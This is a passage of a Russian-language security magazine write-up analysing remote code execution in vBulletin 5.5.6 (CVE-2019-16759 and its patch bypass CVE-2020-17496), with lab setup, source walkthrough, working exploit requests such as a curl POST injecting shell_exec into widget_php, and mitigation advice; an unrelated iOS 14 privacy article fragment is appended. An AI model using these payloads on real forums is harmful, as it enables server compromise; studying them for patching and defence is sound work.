MYSQL_DATABASE="vb" ‐‐rm ‐‐name=mysql ‐‐hostname=mysql mysql/
mysql‐server:5.7 

За тем  запус тим  кон тей нер,  на  котором  будет  рас полагать ся  веб‐сер вер
и сам форум. Не забыва ем слин ковать его с БД.

docker run     ‐‐rm ‐ti ‐‐link=mysql ‐‐name=vbweb ‐‐hostname=vbweb ‐p80:
80 debian /bin/bash 

В  качес тве  сер вера  я  буду  исполь зовать  Apache.  Поэто му  уста новим  его
и PHP с необ ходимы ми модуля ми.

apt update   apt   && install ‐y apache2 php nano unzip netcat 
php‐mysqli php‐xml php‐gd 

Вклю чаем модуль mod‐rewrite и запус каем Apache.

a2enmod rewrite 
service apache2 start 

Те перь нуж но уста новить vBulletin. Про дукт ком мерчес кий, и я здесь не ста ну
рас смат ривать,  как  его  получить. Все  тес ты будем про водить  на  пос ледней
уяз вимой  вер сии —  5.5.6.  Рас паковы ваем  ее  в  дирек торию 
и уста нав лива ем.

/var/www/html

На чало уста нов ки vBulletin

Ес ли  ты  хочешь  вмес те  со  мной  более  под робно  рас смот реть  уяз вимость
и покопать ся в сор цах, то неп лохо бы нас тро ить отладку. Я буду исполь зовать
связ ку Xdebug + PhpStorm.

Ус танав лива ем  и  акти виру ем  Xdebug.  Делать  это  луч ше  пос ле  того,
как vBulletin будет уста нов лен, у меня были проб лемы во вре мя инстал ляции,
приш лось отклю чить.

apt update   apt   && install ‐y php‐xdebug 
phpenmod xdebug 

Вклю чаем уда лен ную отладку и ука зыва ем IP‐адрес сер вера. Обра ти на него
вни мание, а так же на пути к фай лам — у тебя это все может быть дру гим.

   echo "xdebug.remote_enable=1" >> /etc/php/7.3/apache2/conf.d/
20‐xdebug.ini 

   echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.3/apache2/conf.
d/20‐xdebug.ini 

Те перь перезаг ружа ем веб‐сер вер.

service apache2 restart 

В PhpStorm вклю чаем ожи дание кон некта от отладчи ка. Добав ляем параметр
  к  зап росу,  если  хотим,  что бы  дебаг гер

сра ботал.
XDEBUG_SESSION_START=phpstorm

Вклю чаем прос лушива ние соеди нений от Xdebug в PhpStorm

Стенд готов, и мож но перехо дить к раз бору уяз вимос ти.

ОБРАБОТКА URI
Сна чала пос мотрим, как vBulletin обра баты вает зап росы поль зовате ля, а кон‐ 
крет но роуты.

.htaccess
   01: <IfModule mod_rewrite.c>
       02: RewriteEngine On

...
         39: RewriteCond %{REQUEST_FILENAME} !‐f
         40: RewriteCond %{REQUEST_FILENAME} !‐d
           41: RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]

Про веря ется, сущес тву ет ли файл, и если нет,  то ука зан ный URI переда ется
в качес тве парамет ра  .routestring

Как  и  боль шинс тво  сов ремен ных  фрей мвор ков,  форум  под держи вает
авто заг рузку клас сов через  .spl_autoload_register

index.php
 33: require_once('includes/vb5/autoloader.php');
 34: vB5_Autoloader::register(dirname(__FILE__));

includes/vb5/autoloader.php
     13: abstract class vB5_Autoloader
 14: {
             15: protected static $_paths = array();
             16: protected static $_autoloadInfo = array();

17:
           18: public static function register($path)
     19: {

           20:         self::$_paths[] = (string) $path . '/includes/'; // 
includes
21:

 22:         spl_autoload_register(array(__CLASS__, '_autoload'));
     23: }

За тем начина ется про вер ка передан ного роута. Вызыва ется метод 
.

isQuick‐
Route

index.php
   37: if (vB5_Frontend_ApplicationLight::isQuickRoute())

includes/vb5/frontend/applicationlight.php
          079: public static function isQuickRoute()
    080: {

...
         091:        foreach (self::$quickRoutePrefixMatch AS $prefix =>

$route)
092:        {

     
   

093:            if (substr($_REQUEST['routestring'], 0, strlen(
$prefix)) == $prefix)
094:            {

 095:                return true;
096:            }
097:        }
098:

 099:        return false;
    100: }

В перемен ной   хра нят ся пре фик сы роутов, которые
дол жны обра баты вать ся при помощи  .

$quickRoutePrefixMatch
quickRoute

ajax/apidetach
ajax/api
ajax/render

Про вер ка роута в vBulletin 5.5.6
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СЕКРЕТ ВИДЖЕТА
ЭКСПЛУАТИРУЕМ НОВУЮ ОПАСНУЮ
УЯЗВИМОСТЬ В ФОРУМЕ VBULLETIN

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ВОЗВРАЩЕНИЕ К ИСТОКАМ. РАБОТА С ВИДЖЕТАМИ, CVE-2019-
16759 И ЕЕ ПАТЧ
Об ратим ся к экс пло иту для прош логод ней уяз вимос ти  .CVE‐2019‐16759

   POST /index.php HTTP/1.1
 Host: vb.vh

 Content‐Type: application/x‐www‐form‐urlencoded
 Content‐Length: 71

 Connection: close

routestring=ajax/render/widget_php&widgetConfig[code]=system('ls'); 

Здесь  в  качес тве    переда ется  .  Пре‐ 
фикс  как  раз  под ходит  под  усло вие  .  Пос ле  это го  вызыва ется

.

routestring ajax/render/widget_php
quickRoute

$app‐>execute()

index.php
   37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
 38: {

...
       41: if ($app‐>execute())

Это  глав ный  метод,  который  переда ет  управле ние  на  нуж ные  учас тки  кода,
что бы  обра ботать  зап рос  поль зовате ля.  В  нашем  слу чае  вызыва ется  обра‐ 
бот чик  . Он запус кает фор мирова ние отве та поль зовате лю.callRender

includes/vb5/frontend/applicationlight.php
      161: public function execute()

...
     181:      $serverData = array_merge($_GET, $_POST);

182:
     

 
183:      if (!empty($this‐>application['handler']) AND method_exists
($this, $this‐>application['handler']))
184:      {

   185:          $app = $this‐>application['handler'];
   186:          call_user_func(array($this, $app), $serverData);

Вы зов обра бот чика callRender в vBulletin

includes/vb5/frontend/applicationlight.php
      282: protected function callRender($serverData)
  283: {

     284:      $routeInfo = explode('/', $serverData['routestring']);

Да лее в коде идет пер вый патч, который исправ ляет прош логод нюю RCE.

includes/vb5/frontend/applicationlight.php
      291: $templateName = $routeInfo[2];
        292: if ($templateName == 'widget_php')
  293: {

   294:      $result = array(
   295:          'template' => '',
   296:          'css_links' => array(),

297:      );
  298: }

Ес ли имя зап рошен ного шаб лона  , то воз вра щает ся пус той мас‐ 
сив.

widget_php

Приш ло вре мя погово рить о вид жетах и их шаб лонах. В vBulletin есть сис‐ 
тема  вид жетов  (модулей),  которые  могут  отоб ражать  раз ную  информа цию
на  сай те.  Таким  обра зом,  стра ница  сай та  может  сос тоять  из  некото рого
количес тва  таких  вот  бло ков‐вид жетов  со  сво ими  сти лями  и  дан ными.
Похожая шту ка сей час есть в каж дой ува жающей себя CMS, так как это удоб‐ 
ный и гиб кий инс тру мент кас томиза ции.

Шаб лоны  всех  вид жетов  опи сыва ются  в  фай ле  .
При уста нов ке форума они записы вают ся в базу дан ных.

vbulletin‐style.xml

core/install/vbulletin-style.xml
 <templategroup name="Module">

       
   

<template name="widget_aboutauthor" templatetype="template" date=
"1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<
vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
 ... 
       

   
<template name="widget_activate_email" templatetype="template"

date="1458863949" username="vBulletin" version="5.2.2 Alpha 3"><![
CDATA[<vb:if condition="empty($widgetConfig) AND !empty(
$widgetinstanceid)">

Шаб лоны не написа ны на чис том PHP, а исполь зуют свой син таксис, который
сна чала  обра баты вает ся  шаб лониза тором.  Он  воз вра щает  резуль тат
как стро ку PHP‐кода, который затем про ходит про цесс «рен дерин га». Во вре‐ 
мя это го дан ные попада ют в фун кцию  .eval

Так  вот,  сре ди  вороха  этих  вид жетов  име ется  .  Этот  модуль
поз воля ет отоб ражать резуль таты выпол нения про изволь ного кода на PHP.

widget_php

core/install/vbulletin-style.xml
       

 
<template name="widget_php" templatetype="template" date="1569453621"
username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if 
condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
   {vb:data widgetConfig, widget, fetchConfig, 
     {vb:raw widgetinstanceid}} 
 </vb:if>

   <vb:if condition="!empty($widgetConfig)">
   {vb:set widgetid, {vb:raw widgetConfig.widgetid}} 
   {vb:set widgetinstanceid, 
     {vb:raw widgetConfig.widgetinstanceid}} 
 </vb:if>
 ... 
 {vb:template module_title, 
   widgetConfig={vb:raw widgetConfig}, 
   show_title_divider=1, 
   can_use_sitebuilder={vb:raw user.can_use_sitebuilder}} 
     <div class="widget‐content">
       <vb:if condition="!empty($widgetConfig['code']) AND 
!$vboptions['disable_php_rendering']">
       ... 
       {vb:phpeval {vb:raw widgetConfig.code}} 
       ... 
     </vb:if>
   </div>
 </div>]]></template>

Здесь нас  встре чает еще одно пос ледс твие пат ча  уяз вимос ти. Обра ти  вни‐ 
мание  на  атри бут  .  Это  вер сия  пос ледне го  обновле ния  шаб лона
(5.5.5 Alpha 4). До пат ча часть кода с выпол нени ем PHP выг лядела нес коль ко
ина че.

version

vBulletin 5.5.3/core/install/vbulletin-style.xml
 <div class="widget‐content">

   <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions[
'disable_php_rendering']">
   {vb:action evaledPHP, bbcode, evalCode, 
     {vb:raw widgetConfig.code}} 
   {vb:raw $evaledPHP} 
   <vb:else />

Об этом погово рим нем ного поз же, здесь лишь оста лось ска зать, что с шаб‐ 
лонами работа ет класс  .vB_Template

Те перь  воз вра щаем ся  к  экс пло иту  CVE‐2019‐16759.  Пред положим,  что
у нас непат ченная вер сия форума и скрипт выпол няет ся даль ше.

includes/vb5/frontend/applicationlight.php
        301: $this‐>router = new vB5_Frontend_Routing();
  302: $this‐>router‐>setRouteInfo(array(

 303:      'action'          => 'actionRender',
 304:      'arguments'       => $serverData,
 305:      'template'        => $templateName,

...
   310:      'queryParameters' => $_GET,

  311: ));
  312: Api_InterfaceAbstract::setLight();
        313: $result = vB5_Template::staticRenderAjax($templateName,

$serverData);

Те перь  управле ние  переда ется  в  класс  .  Вызыва ется  метод
, а из него попада ем в более общий  .

vB5_Template
staticRenderAjax staticRender

includes/vb5/template.php
     16: class vB5_Template
   17: {

...
              

 
731: public static function staticRenderAjax($templateName, $data
= array())

    732: {
       

 
733:        $rendered = self::staticRender($templateName, $data, true
, true);
...

 737:        return array(
   738:            'template' => $rendered,
   739:            'css_links' => $css,

740:        );

Сле дующий  шаг  —  это  сопос тавле ние  перемен ных  в  шаб лоне  вид жета
с  теми,  что  были  переда ны  в  зап росе  поль зовате лем.  Напоми наю,  что  я
переда вал параметр  .widgetConfig[code]=system('ls');

includes/vb5/template.php
              

           
703: public static function staticRender($templateName, $data =
array(), $isParentTemplate = true, $isAjaxTemplateRender = false)

  704: {
...

     710:      $templater = new vB5_Template($templateName);
711:

         712:      foreach ($data AS $varname => $value)
713:      {

 714:          $templater‐>register($varname, $value);
715:      }

Со пос тавле ние парамет ров из зап роса и перемен ных в шаб лоне вид ‐
жета

core/install/vbulletin-style.xml
{vb:phpeval {vb:raw widgetConfig.code}} 

Пос ле  под груз ки  необ ходимых  клас сов  мы  попада ем  в  метод  рен дерин га
шаб лона.

includes/vb5/template.php
      717: $core_path = vB5_Config::instance()‐>core_path;
  718: vB5_Autoloader::register($core_path);

719:
        720: $result = $templater‐>render($isParentTemplate,

$isAjaxTemplateRender);

Здесь  мы  встре чаем  оче ред ную  часть  кода,  которая  пат чит  уяз вимость,  —
метод  .cleanRegistered

includes/vb5/template.php
            

   
341: public function render($isParentTemplate = true,
$isAjaxTemplateRender = false)

  342: {
...
350:      if($isParentTemplate)
351:      {
352:          $this‐>cleanRegistered();
353:      }

includes/vb5/template.php
      128: private function cleanRegistered()
  129: {

   130:      $disallowedNames = array('widgetConfig');
   131:      foreach($disallowedNames AS $name)

132:      {
133:          unset($this‐>registered[$name]);
134:          unset(self::$globalRegistered[$name]);
135:      }

  136: }

Здесь  из  зарегис три рован ных  перемен ных  шаб лона  уда ляет ся
, что бы нель зя было нап рямую из зап роса изме нять кон фигура‐ 

цию вид жета. Как раз через эту перемен ную я передаю пей лоад на PHP.
widgetConfig

Ме тод cleanRegistered для исправ ления уяз вимос ти CVE‐2019‐16759

Пред положим,  что  это го  метода  у  нас  нет.  Даль ше  ини циали зиру ется  кеш
vBulletin, и управле ние перехо дит к  .getTemplate

includes/vb5/template.php
      391: $templateCache = vB5_Template_Cache::instance();
      392: $templateCode = $templateCache‐>getTemplate($this‐>template);

includes/vb5/template/cache.php
      177: public function getTemplate($templateId)
  178: {

179:
 180:      if (is_array($templateId))

181:      {
 182:          return $this‐>fetchTemplate($templateId);

183:      }
184:

 185:      if (!isset($this‐>cache[$templateId]))
186:      {
187:          $this‐>fetchTemplate($templateId);
188:      }
189:

 190:      if (isset($this‐>cache[$templateId]))
191:      {

 192:          return $this‐>cache[$templateId];
193:      }

Этот  метод  сна чала  пыта ется  най ти  уже  сге нери рован ный  код  шаб лона
в  кеше,  и  если  таково го  не  обна ружи вает ся,  то  в  дело  всту пает 

.
fetchTem‐

plate

includes/vb5/template/cache.php
      207: protected function fetchTemplate($templateName)
  208: {

...
   216:          $method = 'fetch';

       217:          $arguments = array('name' => $templateName);
218:      }
..

   
   

224:      $response = Api_InterfaceAbstract::instance()‐>callApi(
'template', $method, $arguments);

Вся магия про исхо дит в этом вызове:

   Api_InterfaceAbstract::instance()‐>callApi('template', $method,
$arguments)

Из псев докода шаб лона получа ется готовый код на PHP.

includes/api/interface/collapsed.php
              

             
084: public function callApi($controller, $method, array $arguments
= array(), $useNamedParams = false, $byTemplate = false)

  085: {
...

       101:          $result = call_user_func_array(array(&$c, $method),
$arguments);

core/vb/api/template.php
       19: class vB_Api_Template extends vB_Api
 20: {

...
               49: public function fetch($template_name, $styleid = ‐1)
     50: {

   51:         return $this‐>library‐>fetch($template_name, $styleid);
     52: }

core/vb/library/template.php
       19: class vB_Library_Template extends vB_Library
 20: {

...
                 

   
31: public function fetch($template_name, $styleid = ‐1,
$nopermissioncheck = false)

     32: {
...

     
   

50:         $templates = $this‐>fetchBulk(array($template_name),
$styleid, 'compiled', $nopermissioncheck);

Вы пол нение метода callApi. Получе ние шаб лона вид жета

В методе   шаб лон вид жета под гру жает ся из базы дан ных.fetchBulk

Заг рузка шаб лона вид жета widget_php из базы дан ных

core/vb/library/template.php
                 

       
68: public function fetchBulk($template_names, $styleid = ‐1, $type
= 'compiled', $nopermissioncheck = false)

   69: {
...

 121:      if (!empty($templateids))
122:      {

     
     

123:          $result = vB::getDbAssertor()‐>select('template', array
('templateid' => $templateids), false,

     124:              array('title', 'textonly', 'template_un',
'template'));
125:

     126:          foreach ($result AS $template)
127:          {

     128:              if ($type == 'compiled')
129:              {

   130:                  $response[$template['title']] = $this‐>
getTemplateReturn($template);

   131:                  self::$templatecache[$template['title']] =
$response[$template['title']];
132:              }

Ре зуль тат записы вает ся в кеш.

includes/vb5/template/cache.php
        227: if (is_array($response) AND isset($response['textonly']))
  228: {

...
  252: else

...
  253: {

     
 

257:      $response = str_replace('vB_Template_Runtime',
'vB5_Template_Runtime', $response);

   258:      $this‐>cache[$templateName] = $response;

В слу чае с вид жетом   про шед ший через шаб лониза тор  код выг‐ 
лядит так.

widget_php

widget_php_rendered
                 

 
01: $final_rendered = '' . ''; if (empty($widgetConfig) AND !empty(
$widgetinstanceid)) {

   02:                     $final_rendered .= '
         
             

03:     ' . ''; $widgetConfig = vB5_Template_Runtime::parseData(
'widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= '' .
'
04: ';

   05:                 } else {
   06:             $final_rendered .= '';

       07:         }$final_rendered .= '' . '
...

   
           
       

20:     ' . vB5_Template_Runtime::includeTemplate('module_title',
array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1',
'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . '
...
22:     <div class="widget‐content">

           
 

23:         ' . ''; if (!empty($widgetConfig['code']) AND !vB::
getDatastore()‐>getOption('disable_php_rendering')) {

   24:                     $final_rendered .= '
       25:             ' . '' . '
       

       
26:             ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig[
'code'] . '') . '
27:         ';

Сге нери рован ный шаб лон вид жета widget_php

В  стро ке  26 мож но  уви деть  конс трук цию  .
Одна ко до пат ча эта часть кода выг лядела нес коль ко ина че. Как я упо минал,
сам шаб лон вид жета имел дру гой вид.

vB5_Template_Runtime::evalPhp

vBulletin 5.5.3/core/install/vbulletin-style.xml
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}} 
   <vb:else />

А кон трол лер   обра баты вал эту конс трук‐ 
цию, в ито ге вызывая обыч ный  .

vB5_Frontend_Controller_Bbcode
eval

vBulletin 5.5.3/includes/vb5/frontend/controller/bbcode.php
       013: class vB5_Frontend_Controller_Bbcode extends

vB5_Frontend_Controller
 014: {

...
      224: function evalCode($code)
    225: {

226:        ob_start();
227:        eval($code);

   228:        $output = ob_get_contents();
229:        ob_end_clean();

 230:        return $output;
    231: }

В новой вер сии форума раз работ чики перес мотре ли логику работы вид жета.
Добави ли  дру гой  метод  —  ,  который,
по  сути,  так же  выпол няет  код,  передан ный  в  парамет ре 

, с той лишь раз ницей, что сна чала про веря ет имя шаб лона, где про‐ 
исхо дит попыт ка выз вать метод. И если он отли чает ся от  , то воз‐ 
вра щает ся пус тая стро ка.

vB5_Template_Runtime::evalPhp
widgetConfig[

'code']
widget_php

includes/vb5/template/runtime.php
        1992: public static function evalPhp($code)
  1993: {

...
     1996:      if (self::currentTemplate() != 'widget_php')

1997:      {
 1998:          return '';

1999:      }
2000:      ob_start();
2001:      eval($code);

   2002:      $output = ob_get_contents();
2003:      ob_end_clean();

 2004:      return $output;
  2005: }

Та кое  решение  дол жно  уси лить  безопас ность  и  зап ретить  любым  дру гим
шаб лонам переда вать потен циаль но небезо пас ные дан ные в фун кцию  .eval

Пос ле это го неболь шого отступ ления воз вра щаем ся к выпол нению скрип‐ 
та. Если код вид жета успешно получен, то переда ем его на выпол нение.

includes/vb5/template.php
      392: $templateCode = $templateCache‐>getTemplate($this‐>template);

...
400:      eval($templateCode);
...

  444: vB5_Template_Runtime::endTemplate();
...

    452: return $final_rendered;

Вы пол нение PHP‐кода шаб лона widget_php

Пей лоад отра баты вает, и в отве те от сер вера мож но видеть резуль тат выпол‐ 
нения фун кции  .system('ls')

Ус пешная экс плу ата ция уяз вимос ти CVE‐2019‐16759 в vBulletin

Та ким  обра зом,  воз можность  выпол нять  код  через    оста лась,
толь ко  теперь ата кующий не может делать это нап рямую. Это при водит нас
к поис ку обходных путей и новой уяз вимос ти.

widget_php

Продолжение статьи →

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759


СЕКРЕТ ВИДЖЕТА
ЭКСПЛУАТИРУЕМ НОВУЮ ОПАСНУЮ
УЯЗВИМОСТЬ В ФОРУМЕ VBULLETIN

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ДЕТАЛИ CVE-2020-17496
Хо чу обра тить вни мание, что вид жеты не толь ко могут не быть самос тоятель‐ 
ными эле мен тами, но и быва ют вло жен ными. В один вид жет может быть вло‐ 
жено нес коль ко дочер них. То есть мож но обра баты вать и отоб ражать резуль‐ 
таты  работы  дру гих  вид жетов.  Такая  логика  работы  отлично  впи сыва ется
в идею обхо да огра ниче ний, которые были добав лены пат чем для CVE‐2019‐
16759.  Нуж но  толь ко  най ти  вид жет,  в шаб лоне  которо го  будет  воз можность
вызывать  дочер ние.  И  Амир  обна ружил  такой  — 

.
widget_tabbedcontain‐

er_tab_panel

core/install/vbulletin-style.xml
   
     

<template name="widget_tabbedcontainer_tab_panel" templatetype=
"template" date="1532130449" username="vBulletin" version="5.4.4 
Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {
vb:var tab_num}}} 

Вид жет  обра баты вает  мас сив  ,  в  котором  ищет  ключ 
и под гру жает шаб лон ука зан ного в нем вид жета.

subWidgets template

core/install/vbulletin-style.xml
   <vb:each from="subWidgets" value="subWidget">

     ‐‐ {vb:raw subWidget.template} 
 </vb:each>

А с помощью клю ча   мож но переда вать парамет ры в дочер ний шаб лон
(обра ти вни мание на атри бут widgetConfig).

config

core/install/vbulletin-style.xml
   <vb:each from="subWidgets" value="subWidget">

   {vb:template {vb:raw subWidget.template}, 
     widgetConfig={vb:raw subWidget.config}, 
     widgetinstanceid={vb:raw subWidget.widgetinstanceid}, 
     widgettitle={vb:raw subWidget.title}, 
     tabbedContainerSubModules={vb:raw 
       subWidget.tabbedContainerSubModules}, 
     product={vb:raw subWidget.product} 
   } 
 </vb:each>

Да вай про верим это на каком‐нибудь прос тень ком вид жете.

core/install/vbulletin-style.xml
   

     
<template name="widget_search2_viewall_link__searchresults"
templatetype="template" date="1504914629" username="vBulletin"
version="5.3.4 Alpha 2"><![CDATA[<a href="{vb:url 'search'}?r={vb:
raw nodes.resultId}" class="b‐button">
   <vb:if condition="!empty($widgetConfig['view_all_text'])">
   {vb:var widgetConfig.view_all_text} 
   <vb:else />
   {vb:phrase view_all} 
 </vb:if>
</a>]]></template>

Здесь  в  качес тве  парамет ра  мож но  передать  .  Этот  текст
будет отоб ражен в шаб лоне как текст ссыл ки. Отправ ляем зап рос.

view_all_text

curl 
   

 

"http://vb.vh/ajax/render/
widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm" ‐s ‐X
POST ‐d 'subWidgets[0][template]

=widget_search2_viewall_link__calendar&subWidgets[0][config][
view_all_text]=HELLOTHERE!'

При рен дерин ге   в том мес те, где будет
дочер ний  вид жет,  встав ляет ся  плей схол дер.  Шаб лон  при обре тает  сле‐ 
дующий вид.

widget_tabbedcontainer_tab_panel

   <div id="" class="h‐clearfix js‐show‐on‐tabs‐create h‐hide">
 <!‐‐ ##template_widget_search2_viewall_link__calendar_0## ‐‐>
</div>

За тем вызыва ется метод  ,  который,  как вид но из наз‐ 
вания,  про ходит  по  шаб лону,  ищет  плей схол деры,  вызыва ет  необ ходимые
модули и встав ляет резуль таты их работы в нуж ное мес то.

replacePlaceholders

includes/vb5/template.php
  421: // always replace placeholder for templates, as they are 

process by levels
  422: $templateCache‐>replacePlaceholders($final_rendered);

Рен деринг вло жен ных вид жетов в шаб лоне

Здесь  исполь зует ся  точ но  такой  же  набор  вызовов.  Метод 
получа ет шаб лон вид жета.

fetchTemplate

includes/vb5/template/cache.php
      103: public function replacePlaceholders(&$content)
  104: {

105:      // This function procceses subtemplates by level
106:

     107:      $missing = array_diff(array_keys($this‐>pending),
array_keys($this‐>cache));

 108:      if (!empty($missing))
109:      {
110:          $this‐>fetchTemplate($missing);
111:      }

За тем в него переда ются перемен ные. Так парамет ры из нашего POST‐зап‐ 
роса попада ют в шаб лон.

includes/vb5/template/cache.php
            125: foreach ($levelPending as $templateName => $templates)
  126: {

         127:      foreach ($templates as $placeholder => $templateArgs)
128:      {

     129:          $templater = new vB5_Template($templateName);
 130:          $this‐>registerTemplateVariables($templater,

$templateArgs);

Пе реда ча перемен ных в дочер ний шаб лон

И сно ва рен деринг, но уже дочер него модуля.

includes/vb5/template/cache.php
  132: try
  133: {

   134:      $replace = $templater‐>render(false);

Та ким обра зом, та часть пат ча, где про веря ется имя модуля, оста ется далеко
позади.

includes/vb5/frontend/applicationlight.php
        292: if ($templateName == 'widget_php')
  293: {

   294:      $result = array(
   295:          'template' => '',
   296:          'css_links' => array(),

297:      );

Но это еще не все, так как в этот раз и в вет ку с методом 
мы не попада ем. Это про исхо дит из‐за того, что вызов   был ини цииро‐ 
ван не родитель ским методом и перемен ная   уста нов лена
в  .

cleanRegistered
render

isParentTemplate
false

При рен дерин ге дочер него вид жета cleanRegistered не вызыва ется
и перемен ная widgetConfig не очи щает ся

includes/vb5/template.php
            

   
341: public function render($isParentTemplate = true,
$isAjaxTemplateRender = false)

  342: {
...
350:      if($isParentTemplate)
351:      {
352:          $this‐>cleanRegistered();

Это зна чит, что   будет в целос ти и сох раннос ти. Еще одна часть
фик са уяз вимос ти минова ла.

widgetConfig

До чер ний вид жет отра баты вает, и резуль тат добав ляет ся в родитель ский.

includes/vb5/template/cache.php
          171: $content = str_replace($placeholder, $replace, $content);

До чер ний вид жет добав ляет ся в родитель ский

На выходе получа ется что‐то вро де такого:

   <div id="" class="h‐clearfix js‐show‐on‐tabs‐create h‐hide">
   

 
<!‐‐ BEGIN: widget_search2_viewall_link__calendar ‐‐><a href="!!VB:

URL1284a43c8c1d5b8763560fbb7e88642e!!?searchJSON=" class="b‐button">
 HELLOTHERE 
 </a><!‐‐ END: widget_search2_viewall_link__calendar ‐‐>
</div>

Вы зов про изволь ного дочер него вид жета из родитель ско го в vBulletin

Но это всё игрушки. Теперь пора взять ся за серь езные вещи. Берем прош‐ 
логод ний экс пло ит  и  переде лыва ем его пря мой вызов на дочер ний дру гого
вид жета.

subWidgets[0][template]=widget_php
   subWidgets[0][config][code]=echo shell_exec("uname ‐a"); exit;

От прав ляем резуль тат на  .widget_tabbedcontainer_tab_panel

curl     
 

"http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel" ‐s
‐X POST ‐d 'subWidgets[0][template]=widget_php&subWidgets[0][config][
code]=echo shell_exec("uname ‐a"); exit;'

В ответ получа ем резуль тат выпол ненной на сер вере коман ды.

Ус пешная экс плу ата ция RCE в vBulletin

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Се год ня  мы  зат ронули  раз ные  аспекты  работы  форум ного  движ ка  vBulletin.
Пос мотре ли  на  реали зацию  механиз ма  вид жетов  и  на  их  сла бые  сто роны.
На самом деле текущая реали зация вызыва ет мно го воп росов с точ ки зре ния
безопас ности. Пар синг псев докода в PHP и выпол нение его через фун кцию
eval соз дает мно го потен циаль но узких мест. Нап ример, любая неот филь тро‐ 
ван ная  или  некор рек тно  отфиль тро ван ная  перемен ная  в шаб лоне  при ведет
к еще одной RCE. Нуж но вни матель но сле дить за кор рек тностью фор мирова‐ 
ния  кода  шаб лона,  филь тра ция  XSS  прев раща ется  в  нас тоящую  голов ную
боль.

Сей час баг исправ лен раз работ чиками, так что, если ты адми нишь форум
на этом движ ке, спе ши обно вить ся или уста новить пат чи.

Как вре мен ную меру могу посове товать отклю чить рен деринг PHP в вид‐ 
жетах.  Как  ты,  воз можно,  заметил,  в  шаб лоне  встре чалась  про вер ка  опции

.disable_php_rendering

 <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions[
'disable_php_rendering']">

Для это го нуж но зай ти в панель адми нис тра тора, в раз дел основных нас тро‐ 
ек, и вклю чить опцию Disable PHP, Static HTML, and Ad Module rendering.

Вре мен ная мера для CVE‐2020‐17496. Отклю чение модулей, исполня ‐
ющих PHP‐код

Это, конеч но, может поломать что‐то на тво ем форуме, зато его не полома ет
кто‐то со сто роны. По край ней мере, не с помощью это го экс пло ита! :)

https://vimeo.com/460604528
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ПРИВАТНОСТЬ

Впер вые  за  дол гое  вре мя  све жая  вер сия
iOS  выш ла  «сама  по  себе»,  незави симо
от  нового  поколе ния  iPhone.  В  этом  году
релиз  зас тал  мно гих  раз работ чиков  врас‐ 
плох: они не ожи дали столь ско рого выхода
Gold Master и пос ледовав шего за ним бук‐ 
валь но  на  сле дующий  день  офи циаль ного
релиза. В этой статье мы погово рим о том,
что  было  сде лано  прог раммис тами  Apple
для  защиты  час тной  жиз ни  поль зовате лей,
а  так же  о  том,  что  было  анон сирова но
в ран них бетах, но в окон чатель ную сбор ку
не вош ло.

ПРИБЛИЗИТЕЛЬНОЕ МЕСТОНАХОЖДЕНИЕ
Нач нем, пожалуй, с самого инте рес ного: при ложе ниям, которые хотят всег да
знать  твое  мес тонахож дение,  теперь  мож но  слег ка  шлеп нуть  по  рукам
без потери фун кци ональ нос ти. В  iOS 14 появи лась воз можность раз решать
при ложе ниям  дос туп  к  приб лизитель ному мес тополо жению  вмес то  точ ного.
Нас коль ко  «приб лизитель ному»?  На  WWDC  2020  говори лось  о  пло щади
поряд ка десяти  квад ратных миль,  что  соот ветс тву ет  кру гу  с  приб лизитель но
трех километ ровым ради усом.

По чему  это  важ но? Подав ляющее боль шинс тво  раз работ чиков  при ложе‐ 
ний  (осо бен но  бес плат ных)  увле кает ся  про фили рова нием  поль зовате лей
с целью про дажи этой информа ции за неболь шие день ги. В про филь с удо‐ 
воль стви ем  вклю чают  и  дан ные  о  точ ном  мес тополо жении  поль зовате ля,
если  поль зователь  сог ласил ся  пре дос тавить  дос туп  к  локации  (а  дос туп
обыч но дают даже таким при ложе ниям, как Microsoft OneDrive, не говоря уже
о прог нозе погоды или при ложе ниях для покуп ки билетов). При этом соз дает‐ 
ся уни каль ная ситу ация: с одной сто роны, iOS и в пре дыду щих вер сиях огра‐ 
ничи вает  час тоту  опро са  дат чиков мес тополо жения фоновы ми  про цес сами,
но с дру гой — при ложе ний у поль зовате ля может быть уста нов лено мно го, и в
боль шинс тве из них будет встро ено нес коль ко «шпи онских» SDK одних и тех
же  про изво дите лей  (от  Facebook  до  ком паний,  наз вания  которых  у  пуб лики
не  на  слу ху).  В  резуль тате  пос тоян ные  опро сы  дат чиков  мес тополо жения
мно жес твом  при ложе ний  с  одни ми  и  теми  же  SDK  дают  дос таточ но  чет кую
и впол не под робную кар тину перед вижений поль зовате ля.

В мар кетин говых матери алах Apple говорят, что при ложе ниям с мес тны ми
новос тями или погодой такой точ ности впол не дос таточ но. С моей точ ки зре‐ 
ния —  даже  более  чем  дос таточ но;  дан ные  приб лизитель ного  мес тонахож‐ 
дения мож но огру бить еще силь нее без потери в точ ности прог ноза погоды
или мес тных новос тей.

Кста ти,  с  точ ки  зре ния  самих  «шпи онских»  SDK  приб лизитель ное  мес‐ 
тополо жение лишь нем ногим луч ше пол ного зап рета дос тупа к дан ным геоло‐ 
кации: вычис лять при мер ное мес тонахож дение поль зовате ля по одно му лишь
его IP‐адре су Facebook & Co уме ют более чем прек расно.

ОГРАНИЧЕННЫЙ ДОСТУП К МЕДИАТЕКЕ
В  новой  вер сии  iOS  поль зователь  смо жет  огра ничить  дос туп  при ложе ний
